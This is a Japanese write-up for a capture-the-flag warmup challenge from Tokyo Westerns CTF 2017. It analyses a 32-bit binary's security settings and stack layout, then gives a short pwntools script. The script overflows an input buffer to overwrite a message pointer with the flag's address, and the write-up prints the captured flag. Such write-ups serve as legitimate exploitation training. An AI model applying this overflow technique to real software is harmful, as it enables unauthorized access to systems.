TWCTF 2017 [Pwn 23] Just do it!
Tokyo Westerns CTF 2017 の warmup問題です。
観察
セキュリティ機構の確認
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
fileコマンド
»»»» file just_do_it just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
静的解析をしてみると、ebp - 0x20
の位置に入力した文字列が、 ebp - 0xc
の位置に間違ったパスワード入力した時に出るメッセージのアドレスが格納されているようです。
また 0x20 - 0xc = 0x14
であり、入力出来る文字数は 0x20
なので ebp - 0xc
の位置にフラグの文字列のアドレスを入れると良さそうです。
今回の問題の場合、flagの文字列は 0x0804a080
にあるようなのでそれを入れます。
Exploit
観察 で計画した通りのExploitコードが以下です。
from pwn import * HOST = "pwn1.chal.ctf.westerns.tokyo" PORT = 12345 #conn = process("./just_do_it") conn = remote(HOST, PORT) payload = "A" * (0x20 - 0xc) #s obj.flag #[0x0804a080]> payload += p32(0x0804a080) conn.sendline(payload) conn.stream()
フラグです。
TWCTF{pwnable_warmup_I_did_it!}
余談ですがこの問題は、自分の頭の中ではROPで解いたつもりだったのですが、実際は上記に示すような解法になっていたようです。(とてもアホだった。)